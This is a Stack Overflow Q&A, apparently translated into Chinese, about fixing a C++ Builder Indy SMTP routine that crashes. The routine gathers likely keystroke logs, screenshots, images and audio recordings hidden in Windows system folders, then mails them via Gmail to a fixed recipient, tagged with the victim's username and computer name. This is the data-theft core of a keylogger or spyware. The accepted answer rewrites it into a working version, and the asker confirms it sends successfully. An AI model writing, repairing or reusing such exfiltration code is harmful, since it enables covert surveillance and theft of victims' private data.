【问题标题】:C++ Builder XE5: Send email with troubleC++ Builder XE5:发送电子邮件有问题
【发布时间】:2014-07-08 10:06:52
【问题描述】:

我有一个发送电子邮件的代码,这会在发送电子邮件时导致访问冲突。与代码序列无关,异常总是在 TRY 命令后的第一行抛出。我已经做了几次测试,直到现在还没有找到解决这个问题的方法。有人可以帮帮我吗?

这是我当前的代码序列:

#include <IdAttachmentFile.hpp>
#include <Lmcons.h>


#pragma link "IdBaseComponent"
#pragma link "IdComponent"
#pragma link "IdExplicitTLSClientserverBase"
#pragma link "IdIOHandler"
#pragma link "IdIOHandlerSocket"
#pragma link "IdIOHandlerStack"
#pragma link "IdMessage"
#pragma link "IdMessageClient"
#pragma link "IdSMTP"
#pragma link "IdSMTPBase"
#pragma link "IdSSL"
#pragma link "IdSSLOpenSSL"
#pragma link "IdTCPClient"
#pragma link "IdTCPConnection"

TIdSMTP *IdSMTP1;
TIdMessage *IdMessage1;
TIdAntiFreeze *IdAntiFreeze1;
TIdSSLIOHandlerSocketOpenSSL *IdSSLIOHandlerSocketOpenSSL1;


AnsiString temp()
{
 wchar_t buffer [MAX_PATH];
 GetTempPath(MAX_PATH, buffer);
 return StrPas(buffer);
}

AnsiString GetLocalComputerName()
{
  TCHAR chrComputerName[MAX_COMPUTERNAME_LENGTH + 1];
  AnsiString strRetVal;
  DWORD dwBufferSize = MAX_COMPUTERNAME_LENGTH + 1;

  if(GetComputerName(chrComputerName,&dwBufferSize)) {
    strRetVal = chrComputerName;
  } else {
    strRetVal = "";
  }

  return(strRetVal);
}

AnsiString user()
{
TCHAR name [ UNLEN + 1 ];
DWORD size = UNLEN + 1;

if (GetUserName( (TCHAR*)name, &size ))
    return name;
    else
    return "Unknown";
}

//SENDING MAIL SMTP (GMAIL)
void MAIL()
{
    srand((unsigned)time(0));
    int random_integer;
    int lowest=1, highest=10;
    int range=(highest-lowest)+1;
    for(int index=0; index<200; index++){
        random_integer = lowest+int(range*rand()/(RAND_MAX + 1.0)); }

AnsiString FileToAttach = temp() + "keys.txt";
AnsiString FileToAttach2 = temp() + "keys1.txt";
AnsiString FileToAttach3 = temp() + "screenshot.bmp";
AnsiString FileToAttach4 = "C:\\Windows\\System32\\drivers\\etc\\rec32.wav";
AnsiString FileToAttach5 = temp() + "picture.bmp";
AnsiString FileToAttach6 = "C:\\Windows\\SysWOW64\\Speech\\Common\\rec64.wav";

try
{

IdSMTP1->Host = "ssl://smtp.gmail.com";
IdSMTP1->Port = 465;
IdSMTP1->Username = "sender@gmail.com";
IdSMTP1->Password = "pass_sender";
IdMessage1->Clear();
/*IdMessage1->MessageParts->Clear();
IdMessage1->Body->Clear(); */
IdMessage1->Priority = mpHigh;
IdMessage1->Recipients->EMailAddresses = "recipient@live.com";
IdMessage1->Subject = user();
IdMessage1->Body->Text = random_integer;
IdMessage1->Encoding = meMIME;
IdMessage1->ContentType = L"multipart/mixed; charset=UTF-8";
IdMessage1->ContentTransferEncoding = L"base64";
IdMessage1->ContentDisposition = L"attachment";
IdMessage1->CharSet = L"UTF-8";
IdMessage1->From->Address = "sender@gmail.com";
IdMessage1->From->Name = GetLocalComputerName();

TIdAttachmentFile *Attach = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach);
Attach->ContentType = GetMIMETypeFromFile(Attach->FileName);


if(FileExists(temp() + "keys1.txt"))  {
TIdAttachmentFile *Attach2 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach2);
Attach2->ContentType = GetMIMETypeFromFile(Attach2->FileName);
}


TIdAttachmentFile *Attach3 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach3);
Attach3->ContentType = GetMIMETypeFromFile(Attach3->FileName);


if(FileExists("C:\\Windows\\System32\\drivers\\etc\\rec32.wav"))  {
TIdAttachmentFile *Attach4 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach4);
Attach4->ContentType = GetMIMETypeFromFile(Attach4->FileName);
}

if(FileExists(temp() + "picture.bmp"))  {
TIdAttachmentFile *Attach5 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach5);
Attach5->ContentType = GetMIMETypeFromFile(Attach5->FileName);
}

if(FileExists("C:\\Windows\\SysWOW64\\Speech\\Common\\rec64.wav"))  {
TIdAttachmentFile *Attach6 = new TIdAttachmentFile(IdMessage1->MessageParts,FileToAttach6);
Attach6->ContentType = GetMIMETypeFromFile(Attach6->FileName);
}

IdSMTP1->IOHandler = IdSSLIOHandlerSocketOpenSSL1;
IdSMTP1->UseTLS = utUseImplicitTLS;
IdSMTP1->AuthType = satDefault;
//IdSMTP1->SendCmd("STARTTLS");
IdSMTP1->Authenticate();
IdSSLIOHandlerSocketOpenSSL1->SSLOptions->Method = sslvSSLv3;
IdSSLIOHandlerSocketOpenSSL1->SSLOptions->Mode = sslmClient;
IdSSLIOHandlerSocketOpenSSL1->Destination = "ssl://smtp.gmail.com:465";
IdSSLIOHandlerSocketOpenSSL1->Host = "ssl://smtp.gmail.com";
//IdSSLIOHandlerSocketOpenSSL1->PassThrough = true;

}

catch(Exception &ex)
{
 ShowMessage(ex.ToString());
}

try
{
IdSMTP1->Connect();
IdAntiFreeze1->IdleTimeOut = 250;
IdSMTP1->Send(IdMessage1);
Application->ProcessMessages();
ShowMessage("E-Mail sent to: recipient@live.com");
}

catch(Exception &ex)
{
 ShowMessage(ex.ToString());
}

if(IdSMTP1->Connected()) {
IdSMTP1->Disconnect();}

IdSMTP1->Free();
IdMessage1->Free();
IdSSLIOHandlerSocketOpenSSL1->Free();
}

void __fastcall TForm1::Button1Click(TObject *Sender)
{
MAIL();
}

提前致谢。

【问题讨论】:

  • 我无法确定您为IdSMTP1 分配实例的位置,因此取消引用未初始化的指针 (IdSMTP1-&gt;Host = "ssl://smtp.gmail.com";) 可能会崩溃。
  • @πάντα ῥεῖ,你测试了我的代码吗?还推出了这一行的异常 (IdSMTP1->Host = "ssl://smtp.gmail.com";) ?
  • 我不明白你的评论?我只是瞥了一眼,飞过这个源代码。很容易发现问题可能是什么。您需要在某处拥有IdSMTP1 = new TIdSMTP(); 才能执行相关行的功能。
  • @πάντα ῥεῖ,你测试过这段代码吗?
  • 不,我只是如前所述阅读了它。还不完整,怎么测试呢?

标签: c++ c++builder


【解决方案1】:

您的代码有很多问题,确实需要重新编写。尝试更多类似的方法:

#include <vcl.h>
#pragma hdrstop

#include <IdSMTP.hpp>
#include <IdSSLOpenSSL.hpp>
#include <IdAntiFreeze.hpp>
#include <IdText.hpp>
#include <IdAttachmentFile.hpp>

#include <Lmcons.h>
#include <memory>

#pragma link "IdBaseComponent"
#pragma link "IdComponent"
#pragma link "IdExplicitTLSClientserverBase"
#pragma link "IdIOHandler"
#pragma link "IdIOHandlerSocket"
#pragma link "IdIOHandlerStack"
#pragma link "IdMessage"
#pragma link "IdMessageClient"
#pragma link "IdSMTP"
#pragma link "IdSMTPBase"
#pragma link "IdSSL"
#pragma link "IdSSLOpenSSL"
#pragma link "IdTCPClient"
#pragma link "IdTCPConnection"

String temp()
{
    WCHAR buffer[MAX_PATH+1] = {0};

    DWORD len = ::GetTempPathW(MAX_PATH+1, buffer);
    if (len > 0)
        return String(buffer, len);

    return String();
}

String localComputerName()
{
    WCHAR buffer[MAX_COMPUTERNAME_LENGTH+1] = {0};
    DWORD size = MAX_COMPUTERNAME_LENGTH+1;

    if (::GetComputerNameW(buffer, &size))
        return String(buffer, size);

    return String();
}

String user()
{
    WCHAR name[UNLEN+1] = {0};
    DWORD size = UNLEN+1;

    if (::GetUserNameW(name, &size))
        return String(name, size-1);

    return _D("Unknown");
}

String systemPath()
{
    WCHAR path[MAX_PATH+1] = {0};

    UINT len = ::GetSystemDirectoryW(path, MAX_PATH+1);
    if (len > 0)
        return IncludeTrailingPathDelimiter(String(path, len));

    return String();
}

String systemWow64Path()
{
    WCHAR path[MAX_PATH+1] = {0};

    UINT len = ::GetSystemWow64DirectoryW(path, MAX_PATH+1);
    if (len > 0)
        return IncludeTrailingPathDelimiter(String(path, len));

    return String();
}

void MAIL()
{
    srand((unsigned)time(0));
    int random_integer;
    int lowest = 1, highest = 10;
    int range = (highest-lowest)+1;
    for(int index = 0; index < 200; ++index)
        random_integer = lowest + int(range*rand()/(RAND_MAX + 1.0));

    String TempFolder = temp();
    String FileToAttach = TempFolder + _D("keys.txt");
    String FileToAttach2 = TempFolder + _D("keys1.txt");
    String FileToAttach3 = TempFolder + _D("screenshot.bmp");
    String FileToAttach4 = systemPath() + _D("drivers\\etc\\rec32.wav");
    String FileToAttach5 = TempFolder + _D("picture.bmp");
    String FileToAttach6 = systemWow64Path() + _D("Speech\\Common\\rec64.wav");

    // NOTE: if compiling for C++11, std::auto_ptr is deprecated, use std::unique_ptr instead...

    std::auto_ptr<TIdAntiFreeze> IdAntiFreeze1(new TIdAntiFreeze(NULL));
    IdAntiFreeze1->IdleTimeOut = 250;

    std::auto_ptr<TIdSMTP> IdSMTP1(new TIdSMTP(NULL));
    TIdSSLIOHandlerSocketOpenSSL *IdSSLIOHandlerSocketOpenSSL1 = new TIdSSLIOHandlerSocketOpenSSL(IdSMTP1.get())

    IdSSLIOHandlerSocketOpenSSL1->SSLOptions->Method = sslvTLSv1;
    IdSSLIOHandlerSocketOpenSSL1->SSLOptions->Mode = sslmClient;

    IdSMTP1->IOHandler = IdSSLIOHandlerSocketOpenSSL1;
    IdSMTP1->UseTLS = utUseImplicitTLS;
    IdSMTP1->Host = _D("smtp.gmail.com");
    IdSMTP1->Port = 465;
    IdSMTP1->Username = _D("sender@gmail.com");
    IdSMTP1->Password = _D("pass_sender");
    IdSMTP1->AuthType = satDefault;

    std::auto_ptr<TIdMessage> IdMessage1(new TIdMessage(NULL));
    IdMessage1->Priority = mpHigh;
    IdMessage1->Recipients->EMailAddresses = _D("recipient@live.com");
    IdMessage1->Subject = user();
    IdMessage1->Encoding = meMIME;
    IdMessage1->ContentType = _D("multipart/mixed");
    IdMessage1->CharSet = _D("UTF-8");
    IdMessage1->From->Address = _D("sender@gmail.com");
    IdMessage1->From->Name = localComputerName();

    TIdText *text = new TIdText(IdMessage1->MessageParts, NULL);
    text->Body->Text = random_integer;
    text->ContentType = _D("text/plain");
    text->CharSet = _D("utf-8");

    new TIdAttachmentFile(IdMessage1->MessageParts, FileToAttach);

    if (FileExists(FileToAttach2))
        new TIdAttachmentFile(IdMessage1->MessageParts, FileToAttach2);

    new TIdAttachmentFile(IdMessage1->MessageParts, FileToAttach3);

    if (FileExists(FileToAttach4))
        new TIdAttachmentFile(IdMessage1->MessageParts, FileToAttach4);

    if (FileExists(FileToAttach5))
        new TIdAttachmentFile(IdMessage1->MessageParts, FileToAttach5);

    if (FileExists(FileToAttach6))
        new TIdAttachmentFile(IdMessage1->MessageParts, FileToAttach6);

    IdSMTP1->Connect();
    IdSMTP1->Send(IdMessage1.get());
    IdSMTP1->Disconnect();
}

void __fastcall TForm1::Button1Click(TObject *Sender)
{
    MAIL();
    ShowMessage("E-Mail sent to: recipient@live.com");
}

【讨论】:

  • 伟大的@Remy Lebeau ! :D。非常感谢你!我会测试的。
  • 亲爱的@Remy Lebeau,我的IDE没有IdSSLIOHandlerSocketOpenSSL.hpp并产生编译错误。
  • IdSSLIOHandlerSocketOpenSSL.hpp 应该改为 IdSSLOpenSSL.hpp。对于那个很抱歉。我更正了。
  • IdSMTP1-&gt;Send(IdMessage1); 应该是 IdSMTP1-&gt;Send(IdMessage1.get());
  • 现在可以正常工作并且可以正确发送电子邮件了!! :D,我标记你的答案! @Ramy,我在使用 IdFTP 组件上传文件时遇到了类似的问题。我会做其他帖子显示,已经是关于主题了。
猜你喜欢
  • 2013-10-08
  • 2013-04-05
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2012-01-02
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多